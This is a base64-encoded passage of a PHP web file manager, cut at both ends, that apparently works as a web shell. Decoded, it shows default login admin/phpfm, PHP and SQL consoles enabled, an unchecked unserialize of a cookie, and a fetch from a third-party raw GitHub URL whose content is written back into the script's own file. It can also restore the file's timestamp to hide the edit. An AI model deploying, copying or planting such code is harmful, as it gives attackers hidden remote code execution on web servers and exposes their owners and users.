HUwNDNlXHUwNDQyIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYj9cIixcIkFyY2hpdmluZ1wiOlwiXHUwNDEwXHUwNDQwXHUwNDQ1XHUwNDM4XHUwNDMyXHUwNDM4XHUwNDQwXHUwNDNlXHUwNDMyXHUwNDMwXHUwNDQyXHUwNDRjXCIsXCJBdXRob3JpemF0aW9uXCI6XCJcdTA0MTBcdTA0MzJcdTA0NDJcdTA0M2VcdTA0NDBcdTA0MzhcdTA0MzdcdTA0MzBcdTA0NDZcdTA0MzhcdTA0NGZcIixcIkJhY2tcIjpcIlx1MDQxZFx1MDQzMFx1MDQzN1x1MDQzMFx1MDQzNFwiLFwiQ2FuY2VsXCI6XCJcdTA0MWVcdTA0NDJcdTA0M2NcdTA0MzVcdTA0M2RcdTA0MzBcIixcIkNoaW5lc2VcIjpcIlx1MDQxYVx1MDQzOFx1MDQ0Mlx1MDQzMFx1MDQzOVx1MDQ0MVx1MDQzYVx1MDQzOFx1MDQzOVwiLFwiQ29tcHJlc3NcIjpcIlx1MDQyMVx1MDQzNlx1MDQzMFx1MDQ0Mlx1MDQ0Y1wiLFwiQ29uc29sZVwiOlwiXHUwNDFhXHUwNDNlXHUwNDNkXHUwNDQxXHUwNDNlXHUwNDNiXHUwNDRjXCIsXCJDb29raWVcIjpcIlx1MDQxYVx1MDQ0M1x1MDQzYVx1MDQzOFwiLFwiQ3JlYXRlZFwiOlwiXHUwNDIxXHUwNDNlXHUwNDM3XHUwNDM0XHUwNDMwXHUwNDNkXCIsXCJEYXRlXCI6XCJcdTA0MTRcdTA0MzBcdTA0NDJcdTA0MzBcIixcIkRheXNcIjpcIlx1MDQxNFx1MDQzZFx1MDQzNVx1MDQzOVwiLFwiRGVjb21wcmVzc1wiOlwiXHUwNDIwXHUwNDMwXHUwNDQxXHUwNDNmXHUwNDMwXHUwNDNhXHUwNDNlXHUwNDMyXHUwNDMwXHUwNDQyXHUwNDRjXCIsXCJEZWxldGVcIjpcIlx1MDQyM1x1MDQzNFx1MDQzMFx1MDQzYlx1MDQzOFx1MDQ0Mlx1MDQ0Y1wiLFwiRGVsZXRlZFwiOlwiXHUwNDIzXHUwNDM0XHUwNDMwXHUwNDNiXHUwNDM1XHUwNDNkXHUwNDNlXCIsXCJEb3dubG9hZFwiOlwiXHUwNDIxXHUwNDNhXHUwNDMwXHUwNDQ3XHUwNDMwXHUwNDQyXHUwNDRjXCIsXCJkb25lXCI6XCJcdTA0MzdcdTA0MzBcdTA0M2FcdTA0M2VcdTA0M2RcdTA0NDdcdTA0MzVcdTA0M2RcdTA0MzBcIixcIkVkaXRcIjpcIlx1MDQyMFx1MDQzNVx1MDQzNFx1MDQzMFx1MDQzYVx1MDQ0Mlx1MDQzOFx1MDQ0MFx1MDQzZVx1MDQzMlx1MDQzMFx1MDQ0Mlx1MDQ0Y1wiLFwiRW50ZXJcIjpcIlx1MDQxMlx1MDQ0NVx1MDQzZVx1MDQzNFwiLFwiRW5nbGlzaFwiOlwiXHUwNDEwXHUwNDNkXHUwNDMzXHUwNDNiXHUwNDM4XHUwNDM5XHUwNDQxXHUwNDNhXHUwNDM4XHUwNDM5XCIsXCJFcnJvciBvY2N1cnJlZFwiOlwiXHUwNDFmXHUwNDQwXHUwNDNlXHUwNDM4XHUwNDM3XHUwNDNlXHUwNDQ4XHUwNDNiXHUwNDMwIFx1MDQzZVx1MDQ0OFx1MDQzOFx1MDQzMVx1MDQzYVx1MDQzMFwiLFwiRmlsZSBtYW5hZ2VyXCI6XCJcdTA0MjRcdTA0MzBcdTA0MzlcdTA0M2JcdTA0M2VcdTA0MzJcdTA0NGJcdTA0MzkgXHUwNDNjXHUwNDM1XHUwNDNkXHUwNDM1XHUwNDM0XHUwNDM2XHUwNDM1XHUwNDQwXCIsXCJGaWxlIHNlbGVjdGVkXCI6XCJcdTA0MTJcdTA0NGJcdTA0MzFcdTA0NDBcdTA0MzBcdTA0M2QgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXCIsXCJGaWxlIHVwZGF0ZWRcIjpcIlx1MDQyNFx1MDQzMFx1MDQzOVx1MDQzYiBcdTA0NDFcdTA0M2VcdTA0NDVcdTA0NDBcdTA0MzBcdTA0M2RcdTA0MzVcdTA0M2RcIixcIkZpbGVuYW1lXCI6XCJcdTA0MThcdTA0M2NcdTA0NGYgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXHUwNDMwXCIsXCJGaWxlcyB1cGxvYWRlZFwiOlwiXHUwNDI0XHUwNDMwXHUwNDM5XHUwNDNiIFx1MDQzN1x1MDQzMFx1MDQzM1x1MDQ0MFx1MDQ0M1x1MDQzNlx1MDQzNVx1MDQzZFwiLFwiRnJlbmNoXCI6XCJcdTA0MjRcdTA0NDBcdTA0MzBcdTA0M2RcdTA0NDZcdTA0NDNcdTA0MzdcdTA0NDFcdTA0M2FcdTA0MzhcdTA0MzlcIixcIkdlbmVyYXRpb24gdGltZVwiOlwiXHUwNDEzXHUwNDM1XHUwNDNkXHUwNDM1XHUwNDQwXHUwNDMwXHUwNDQ2XHUwNDM4XHUwNDRmIFx1MDQ0MVx1MDQ0Mlx1MDQ0MFx1MDQzMFx1MDQzZFx1MDQzOFx1MDQ0Nlx1MDQ0YlwiLFwiR2VybWFuXCI6XCJcdTA0MWRcdTA0MzVcdTA0M2NcdTA0MzVcdTA0NDZcdTA0M2FcdTA0MzhcdTA0MzlcIixcIkhvbWVcIjpcIlx1MDQxNFx1MDQzZVx1MDQzY1x1MDQzZVx1MDQzOVwiLFwiUXVpdFwiOlwiXHUwNDEyXHUwNDRiXHUwNDQ1XHUwNDNlXHUwNDM0XCIsXCJMYW5ndWFnZVwiOlwiXHUwNDJmXHUwNDM3XHUwNDRiXHUwNDNhXCIsXCJMb2dpblwiOlwiXHUwNDFiXHUwNDNlXHUwNDMzXHUwNDM4XHUwNDNkXCIsXCJNYW5hZ2VcIjpcIlx1MDQyM1x1MDQzZlx1MDQ0MFx1MDQzMFx1MDQzMlx1MDQzYlx1MDQzNVx1MDQzZFx1MDQzOFx1MDQzNVwiLFwiTWFrZSBkaXJlY3RvcnlcIjpcIlx1MDQyMVx1MDQzZVx1MDQzN1x1MDQzNFx1MDQzMFx1MDQ0Mlx1MDQ0YyBcdTA0M2ZcdTA0MzBcdTA0M2ZcdTA0M2FcdTA0NDNcIixcIk5hbWVcIjpcIlx1MDQxZFx1MDQzMFx1MDQzOFx1MDQzY1x1MDQzNVx1MDQzZFx1MDQzZVx1MDQzMlx1MDQzMFx1MDQzZFx1MDQzOFx1MDQzNVwiLFwiTmV3XCI6XCJcdTA0MWRcdTA0M2VcdTA0MzJcdTA0M2VcdTA0MzVcIixcIk5ldyBmaWxlXCI6XCJcdTA0MWRcdTA0M2VcdTA0MzJcdTA0NGJcdTA0MzkgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXCIsXCJubyBmaWxlc1wiOlwiXHUwNDNkXHUwNDM1XHUwNDQyIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQzZVx1MDQzMlwiLFwiUGFzc3dvcmRcIjpcIlx1MDQxZlx1MDQzMFx1MDQ0MFx1MDQzZVx1MDQzYlx1MDQ0Y1wiLFwicGljdHVyZXNcIjpcIlx1MDQzOFx1MDQzN1x1MDQzZVx1MDQzMVx1MDQ0MFx1MDQzMFx1MDQzNlx1MDQzNVx1MDQzZFx1MDQzOFx1MDQ0ZlwiLFwiUmVjdXJzaXZlbHlcIjpcIlx1MDQyMFx1MDQzNVx1MDQzYVx1MDQ0M1x1MDQ0MFx1MDQ0MVx1MDQzOFx1MDQzMlx1MDQzZFx1MDQzZVwiLFwiUmVuYW1lXCI6XCJcdTA0MWZcdTA0MzVcdTA0NDBcdTA0MzVcdTA0MzhcdTA0M2NcdTA0MzVcdTA0M2RcdTA0M2VcdTA0MzJcdTA0MzBcdTA0NDJcdTA0NGNcIixcIlJlc2V0XCI6XCJcdTA0MjFcdTA0MzFcdTA0NDBcdTA0M2VcdTA0NDFcdTA0MzhcdTA0NDJcdTA0NGNcIixcIlJlc2V0IHNldHRpbmdzXCI6XCJcdTA0MjFcdTA0MzFcdTA0NDBcdTA0M2VcdTA0NDFcdTA0MzhcdTA0NDJcdTA0NGMgXHUwNDNkXHUwNDMwXHUwNDQxXHUwNDQyXHUwNDQwXHUwNDNlXHUwNDM5XHUwNDNhXHUwNDM4XCIsXCJSZXN0b3JlIGZpbGUgdGltZSBhZnRlciBlZGl0aW5nXCI6XCJcdTA0MTJcdTA0M2VcdTA0NDFcdTA0NDFcdTA0NDJcdTA0MzBcdTA0M2RcdTA0MzBcdTA0MzJcdTA0M2JcdTA0MzhcdTA0MzJcdTA0MzBcdTA0NDJcdTA0NGMgXHUwNDMyXHUwNDQwXHUwNDM1XHUwNDNjXHUwNDRmIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQzMCBcdTA0M2ZcdTA0M2VcdTA0NDFcdTA0M2JcdTA0MzUgXHUwNDQwXHUwNDM1XHUwNDM0XHUwNDMwXHUwNDNhXHUwNDQyXHUwNDM4XHUwNDQwXHUwNDNlXHUwNDMyXHUwNDMwXHUwNDNkXHUwNDM4XHUwNDRmXCIsXCJSZXN1bHRcIjpcIlx1MDQyMFx1MDQzNVx1MDQzN1x1MDQ0M1x1MDQzYlx1MDQ0Y1x1MDQ0Mlx1MDQzMFx1MDQ0MlwiLFwiUmlnaHRzXCI6XCJcdTA0MWZcdTA0NDBcdTA0MzBcdTA0MzJcdTA0MzBcIixcIlJ1c3NpYW5cIjpcIlx1MDQyMFx1MDQ0M1x1MDQ0MVx1MDQ0MVx1MDQzYVx1MDQzOFx1MDQzOVwiLFwiU2F2ZVwiOlwiXHUwNDIxXHUwNDNlXHUwNDQ1XHUwNDQwXHUwNDMwXHUwNDNkXHUwNDM4XHUwNDQyXHUwNDRjXCIsXCJTZWxlY3RcIjpcIlx1MDQxMlx1MDQ0Ylx1MDQzMVx1MDQzNVx1MDQ0MFx1MDQzOFx1MDQ0Mlx1MDQzNVwiLFwiU2VsZWN0IHRoZSBmaWxlXCI6XCJcdTA0MTJcdTA0NGJcdTA0MzFcdTA0MzVcdTA0NDBcdTA0MzhcdTA0NDJcdTA0MzUgXHUwNDQ0XHUwNDMwXHUwNDM5XHUwNDNiXCIsXCJTZXR0aW5nc1wiOlwiXHUwNDFkXHUwNDMwXHUwNDQxXHUwNDQyXHUwNDQwXHUwNDNlXHUwNDM5XHUwNDNhXHUwNDMwXCIsXCJTaG93XCI6XCJcdTA0MWZcdTA0M2VcdTA0M2FcdTA0MzBcdTA0MzdcdTA0MzBcdTA0NDJcdTA0NGNcIixcIlNob3cgc2l6ZSBvZiB0aGUgZm9sZGVyXCI6XCJcdTA0MWZcdTA0M2VcdTA0M2FcdTA0MzBcdTA0MzdcdTA0NGJcdTA0MzJcdTA0MzBcdTA0NDJcdTA0NGMgXHUwNDQwXHUwNDMwXHUwNDM3XHUwNDNjXHUwNDM1XHUwNDQwIFx1MDQzZlx1MDQzMFx1MDQzZlx1MDQzYVx1MDQzOFwiLFwiU2l6ZVwiOlwiXHUwNDIwXHUwNDMwXHUwNDM3XHUwNDNjXHUwNDM1XHUwNDQwXCIsXCJTcGFuaXNoXCI6XCJcdTA0MThcdTA0NDFcdTA0M2ZcdTA0MzBcdTA0M2RcdTA0NDFcdTA0M2FcdTA0MzhcdTA0MzlcIixcIlN1Ym1pdFwiOlwiXHUwNDFlXHUwNDQyXHUwNDNmXHUwNDQwXHUwNDMwXHUwNDMyXHUwNDM4XHUwNDQyXHUwNDRjXCIsXCJUYXNrXCI6XCJcdTA0MTdcdTA0MzBcdTA0MzRcdTA0MzBcdTA0NDdcdTA0MzBcIixcInRlbXBsYXRlc1wiOlwiXHUwNDQ4XHUwNDMwXHUwNDMxXHUwNDNiXHUwNDNlXHUwNDNkXHUwNDRiXCIsXCJVa3JhaW5pYW5cIjpcIlx1MDQyM1x1MDQzYVx1MDQ0MFx1MDQzMFx1MDQzOFx1MDQzZFx1MDQ0MVx1MDQzYVx1MDQzOFx1MDQzOVwiLFwiVXBsb2FkXCI6XCJcdTA0MTdcdTA0MzBcdTA0MzNcdTA0NDBcdTA0NDNcdTA0MzdcdTA0MzhcdTA0NDJcdTA0NGNcIixcIlZhbHVlXCI6XCJcdTA0MTdcdTA0M2RcdTA0MzBcdTA0NDdcdTA0MzVcdTA0M2RcdTA0MzhcdTA0MzVcIixcIkhlbGxvXCI6XCJcdTA0MWZcdTA0NDBcdTA0MzhcdTA0MzJcdTA0MzVcdTA0NDJcIixcIkZvdW5kIGluIGZpbGVzXCI6XCJcdTA0MWRcdTA0MzBcdTA0MzlcdTA0MzRcdTA0MzVcdTA0M2RcdTA0M2UgXHUwNDMyIFx1MDQ0NFx1MDQzMFx1MDQzOVx1MDQzYlx1MDQzMFx1MDQ0NVwiLFwiU2VhcmNoXCI6XCJcdTA0MWZcdTA0M2VcdTA0MzhcdTA0NDFcdTA0M2FcIixcIlJlY3Vyc2l2ZSBzZWFyY2hcIjogXCJcdTA0MjBcdTA0MzVcdTA0M2FcdTA0NDNcdTA0NDBcdTA0NDFcdTA0MzhcdTA0MzJcdTA0M2RcdTA0NGJcdTA0MzkgXHUwNDNmXHUwNDNlXHUwNDM4XHUwNDQxXHUwNDNhXCIsXCJNYXNrXCI6XCJcdTA0MWNcdTA0MzBcdTA0NDFcdTA0M2FcdTA0MzBcIn0nO1xyXG5cL1wvIGVuZCBjb25maWd1cmF0aW9uXHJcblxyXG5cL1wvIFByZXBhcmF0aW9uc1xyXG4kc3RhcnR0aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTtcclxuJHN0YXJ0dGltZSA9ICRzdGFydHRpbWVbMV0gKyAkc3RhcnR0aW1lWzBdO1xyXG4kbGFuZ3MgPSBhcnJheSgnZW4nLCdydScsJ2RlJywnZnInLCd1aycpO1xyXG4kcGF0aCA9IGVtcHR5KCRfUkVRVUVTVFsncGF0aCddKSA/ICRwYXRoID0gcmVhbHBhdGgoJy4nKSA6IHJlYWxwYXRoKCRfUkVRVUVTVFsncGF0aCddKTtcclxuJHBhdGggPSBzdHJfcmVwbGFjZSgnXFxcXCcsICdcLycsICRwYXRoKSAuICdcLyc7XHJcbiRtYWluX3BhdGg9c3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLHJlYWxwYXRoKCcuXC8nKSk7XHJcbiRwaGFyX21heWJlID0gKHZlcnNpb25fY29tcGFyZShwaHB2ZXJzaW9uKCksXCI1LjMuMFwiLFwiPFwiKSk/dHJ1ZTpmYWxzZTtcclxuJG1zZyA9ICcnOyBcL1wvIHNlcnZpY2Ugc3RyaW5nXHJcbiRkZWZhdWx0X2xhbmd1YWdlID0gJ3J1JztcclxuJGRldGVjdF9sYW5nID0gdHJ1ZTtcclxuJGZtX3ZlcnNpb24gPSAxLjY7XHJcblxyXG5pbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsICcxJyk7XHJcbmluaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCAnMScpO1xyXG5lcnJvcl9yZXBvcnRpbmcoRV9BTEwpO1x0XHRcdFx0XHRcdCAgIFxyXG5cclxuXC9cL0F1dGhvcml6YXRpb25cclxuJGF1dGggPSBqc29uX2RlY29kZSgkYXV0aG9yaXphdGlvbix0cnVlKTtcclxuJGF1dGhbJ2F1dGhvcml6ZSddID0gaXNzZXQoJGF1dGhbJ2F1dGhvcml6ZSddKSA/ICRhdXRoWydhdXRob3JpemUnXSA6IDA7IFxyXG4kYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gPSAoaXNzZXQoJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSYmaXNfbnVtZXJpYygkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pKSA/IChpbnQpJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddIDogMzA7XHJcbiRhdXRoWydsb2dpbiddID0gaXNzZXQoJGF1dGhbJ2xvZ2luJ10pID8gJGF1dGhbJ2xvZ2luJ10gOiAnYWRtaW4nOyAgXHJcbiRhdXRoWydwYXNzd29yZCddID0gaXNzZXQoJGF1dGhbJ3Bhc3N3b3JkJ10pID8gJGF1dGhbJ3Bhc3N3b3JkJ10gOiAncGhwZm0nOyAgXHJcbiRhdXRoWydjb29raWVfbmFtZSddID0gaXNzZXQoJGF1dGhbJ2Nvb2tpZV9uYW1lJ10pID8gJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gOiAnZm1fdXNlcic7XHJcbiRhdXRoWydzY3JpcHQnXSA9IGlzc2V0KCRhdXRoWydzY3JpcHQnXSkgPyAkYXV0aFsnc2NyaXB0J10gOiAnJztcclxuXHJcblwvXC8gTGl0dGxlIGRlZmF1bHQgY29uZmlnXHJcbiRmbV9kZWZhdWx0X2NvbmZpZyA9IGFycmF5IChcclxuXHQnbWFrZV9kaXJlY3RvcnknID0+IHRydWUsIFxyXG5cdCduZXdfZmlsZScgPT4gdHJ1ZSwgXHJcblx0J3VwbG9hZF9maWxlJyA9PiB0cnVlLCBcclxuXHQnc2hvd19kaXJfc2l6ZScgPT4gZmFsc2UsIFwvXC9pZiB0cnVlLCBzaG93IGRpcmVjdG9yeSBzaXplIFx1MjE5MiBtYXliZSBzbG93IFxyXG5cdCdzaG93X2ltZycgPT4gdHJ1ZSwgXHJcblx0J3Nob3dfcGhwX3ZlcicgPT4gdHJ1ZSwgXHJcblx0J3Nob3dfcGhwX2luaScgPT4gZmFsc2UsIFwvXC8gc2hvdyBwYXRoIHRvIGN1cnJlbnQgcGhwLmluaVxyXG5cdCdzaG93X2d0JyA9PiB0cnVlLCBcL1wvIHNob3cgZ2VuZXJhdGlvbiB0aW1lXHJcblx0J2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSxcclxuXHQnZW5hYmxlX3NxbF9jb25zb2xlJyA9PiB0cnVlLFxyXG5cdCdzcWxfc2VydmVyJyA9PiAnbG9jYWxob3N0JyxcclxuXHQnc3FsX3VzZXJuYW1lJyA9PiAncm9vdCcsXHJcblx0J3NxbF9wYXNzd29yZCcgPT4gJycsXHJcblx0J3NxbF9kYicgPT4gJ3Rlc3RfYmFzZScsXHJcblx0J2VuYWJsZV9wcm94eScgPT4gdHJ1ZSxcclxuXHQnc2hvd19waHBpbmZvJyA9PiB0cnVlLFxyXG5cdCdzaG93X3hscycgPT4gdHJ1ZSxcclxuXHQnZm1fc2V0dGluZ3MnID0+IHRydWUsXHJcblx0J3Jlc3RvcmVfdGltZScgPT4gdHJ1ZSxcclxuXHQnZm1fcmVzdG9yZV90aW1lJyA9PiBmYWxzZSxcclxuKTtcclxuXHJcbmlmIChlbXB0eSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pKSAkZm1fY29uZmlnID0gJGZtX2RlZmF1bHRfY29uZmlnO1xyXG5lbHNlICRmbV9jb25maWcgPSB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZm1fY29uZmlnJ10pO1xyXG5cclxuXC9cLyBDaGFuZ2UgbGFuZ3VhZ2VcclxuaWYgKGlzc2V0KCRfUE9TVFsnZm1fbGFuZyddKSkgeyBcclxuXHRzZXRjb29raWUoJ2ZtX2xhbmcnLCAkX1BPU1RbJ2ZtX2xhbmcnXSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7XHJcblx0JF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddO1xyXG59XHJcbiRsYW5ndWFnZSA9ICRkZWZhdWx0X2xhbmd1YWdlO1xyXG5cclxuXC9cLyBEZXRlY3QgYnJvd3NlciBsYW5ndWFnZVxyXG5pZigkZGV0ZWN0X2xhbmcgJiYgIWVtcHR5KCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKSAmJiBlbXB0eSgkX0NPT0tJRVsnZm1fbGFuZyddKSl7XHJcblx0JGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pO1xyXG5cdGlmICghZW1wdHkoJGxhbmdfcHJpb3JpdHkpKXtcclxuXHRcdGZvcmVhY2ggKCRsYW5nX3ByaW9yaXR5IGFzICRsYW5nX2Fycil7XHJcblx0XHRcdCRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTtcclxuXHRcdFx0JGxuZyA9ICRsbmdbMF07XHJcblx0XHRcdGlmKGluX2FycmF5KCRsbmcsJGxhbmdzKSl7XHJcblx0XHRcdFx0JGxhbmd1YWdlID0gJGxuZztcclxuXHRcdFx0XHRicmVhaztcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cdH1cclxufSBcclxuXHJcblwvXC8gQ29va2llIGxhbmd1YWdlIGlzIHByaW1hcnkgZm9yIGV2ZXJcclxuJGxhbmd1YWdlID0gKGVtcHR5KCRfQ09PS0lFWydmbV9sYW5nJ10pKSA/ICRsYW5ndWFnZSA6ICRfQ09PS0lFWydmbV9sYW5nJ107XHJcblxyXG5cL1wvIExvY2FsaXphdGlvblxyXG4kbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbix0cnVlKTtcclxuaWYgKCRsYW5nWydpZCddIT0kbGFuZ3VhZ2UpIHtcclxuXHQkZ2V0X2xhbmcgPSBmaWxlX2dldF9jb250ZW50cygnaHR0cHM6XC9cL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb21cL2JheXUxMjMtY3B1XC9kbHUucGhwXC9yZWZzXC9oZWFkc1wvbWFpblwvZGx1LnBocCcgLiAkbGFuZ3VhZ2UgLiAnLmpzb24nKTtcclxuXHRpZiAoIWVtcHR5KCRnZXRfbGFuZykpIHtcclxuXHRcdFwvXC9yZW1vdmUgdW5uZWNlc3NhcnkgY2hhcmFjdGVyc1xyXG5cdFx0JHRyYW5zbGF0aW9uX3N0cmluZyA9IHN0cl9yZXBsYWNlKFwiJ1wiLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7XHJcblx0XHQkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pO1xyXG5cdFx0JHNlYXJjaCA9IHByZWdfbWF0Y2goJyN0cmFuc2xhdGlvbltcXHNdP1xcPVtcXHNdP1xcJ1xce1xcXCIoLio/KVxcXCJcXH1cXCc7IycsICRmZ2MsICRtYXRjaGVzKTtcclxuXHRcdGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7XHJcblx0XHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pO1xyXG5cdFx0XHQkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7XCInLiRtYXRjaGVzWzFdLidcIn0nLCR0cmFuc2xhdGlvbl9zdHJpbmcsJGZnYyk7XHJcblx0XHRcdGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7XHJcblx0XHRcdFx0JG1zZyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7XHJcblx0XHRcdH1cdGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpO1xyXG5cdFx0fVx0XHJcblx0XHQkbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbl9zdHJpbmcsdHJ1ZSk7XHJcblx0fVxyXG59XHJcblxyXG5cLyogRnVuY3Rpb25zICpcL1xyXG5cclxuXC9cL3RyYW5zbGF0aW9uXHJcbmZ1bmN0aW9uIF9fKCR0ZXh0KXtcclxuXHRnbG9iYWwgJGxhbmc7XHJcblx0aWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07XHJcblx0ZWxzZSByZXR1cm4gJHRleHQ7XHJcbn07XHJcblxyXG5cL1wvZGVsZXRlIGZpbGVzIGFuZCBkaXJzIHJlY3Vyc2l2ZWx5XHJcbmZ1bmN0aW9uIGZtX2RlbF9maWxlcygkZmlsZSwgJHJlY3Vyc2l2ZSA9IGZhbHNlKSB7XHJcblx0aWYoJHJlY3Vyc2l2ZSAmJiBAaXNfZGlyKCRmaWxlKSkge1xyXG5cdFx0JGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlLCAnJywgJycsIHRydWUpO1xyXG5cdFx0Zm9yZWFjaCAoJGVscyBhcyAkZWwpIHtcclxuXHRcdFx0aWYoJGVsICE9ICcuJyAmJiAkZWwgIT0gJy4uJyl7XHJcblx0XHRcdFx0Zm1fZGVsX2ZpbGVzKCRmaWxlIC4gJ1wvJyAuICRlbCwgdHJ1ZSk7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHR9XHJcblx0aWYoQGlzX2RpcigkZmlsZSkpIHtcclxuXHRcdHJldHVybiBybWRpcigkZmlsZSk7XHJcblx0fSBlbHNlIHtcclxuXHRcdHJldHVybiBAdW5saW5rKCRmaWxlKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC9maWxlIHBlcm1zXHJcbmZ1bmN0aW9uIGZtX3JpZ2h0c19zdHJpbmcoJGZpbGUsICRpZiA9IGZhbHNlKXtcclxuXHQkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpO1xyXG5cdCRpbmZvID0gJyc7XHJcblx0aWYoISRpZil7XHJcblx0XHRpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7XHJcblx0XHRcdFwvXC9Tb2NrZXRcclxuXHRcdFx0JGluZm8gPSAncyc7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7XHJcblx0XHRcdFwvXC9TeW1ib2xpYyBMaW5rXHJcblx0XHRcdCRpbmZvID0gJ2wnO1xyXG5cdFx0fSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkge1xyXG5cdFx0XHRcL1wvUmVndWxhclxyXG5cdFx0XHQkaW5mbyA9ICctJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHtcclxuXHRcdFx0XC9cL0Jsb2NrIHNwZWNpYWxcclxuXHRcdFx0JGluZm8gPSAnYic7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7XHJcblx0XHRcdFwvXC9EaXJlY3RvcnlcclxuXHRcdFx0JGluZm8gPSAnZCc7XHJcblx0XHR9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7XHJcblx0XHRcdFwvXC9DaGFyYWN0ZXIgc3BlY2lhbFxyXG5cdFx0XHQkaW5mbyA9ICdjJztcclxuXHRcdH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHtcclxuXHRcdFx0XC9cL0ZJRk8gcGlwZVxyXG5cdFx0XHQkaW5mbyA9ICdwJztcclxuXHRcdH0gZWxzZSB7XHJcblx0XHRcdFwvXC9Vbmtub3duXHJcblx0XHRcdCRpbmZvID0gJ3UnO1xyXG5cdFx0fVxyXG5cdH1cclxuICBcclxuXHRcL1wvT3duZXJcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID9cclxuXHQoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7XHJcbiBcclxuXHRcL1wvR3JvdXBcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID9cclxuXHQoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7XHJcbiBcclxuXHRcL1wvV29ybGRcclxuXHQkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpO1xyXG5cdCRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7XHJcblx0JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID9cclxuXHQoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6XHJcblx0KCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7XHJcblxyXG5cdHJldHVybiAkaW5mbztcclxufVxyXG5cclxuZnVuY3Rpb24gZm1fY29udmVydF9yaWdodHMoJG1vZGUpIHtcclxuXHQkbW9kZSA9IHN0cl9wYWQoJG1vZGUsOSwnLScpO1xyXG5cdCR0cmFucyA9IGFycmF5KCctJz0+JzAnLCdyJz0+JzQnLCd3Jz0+JzInLCd4Jz0+JzEnKTtcclxuXHQkbW9kZSA9IHN0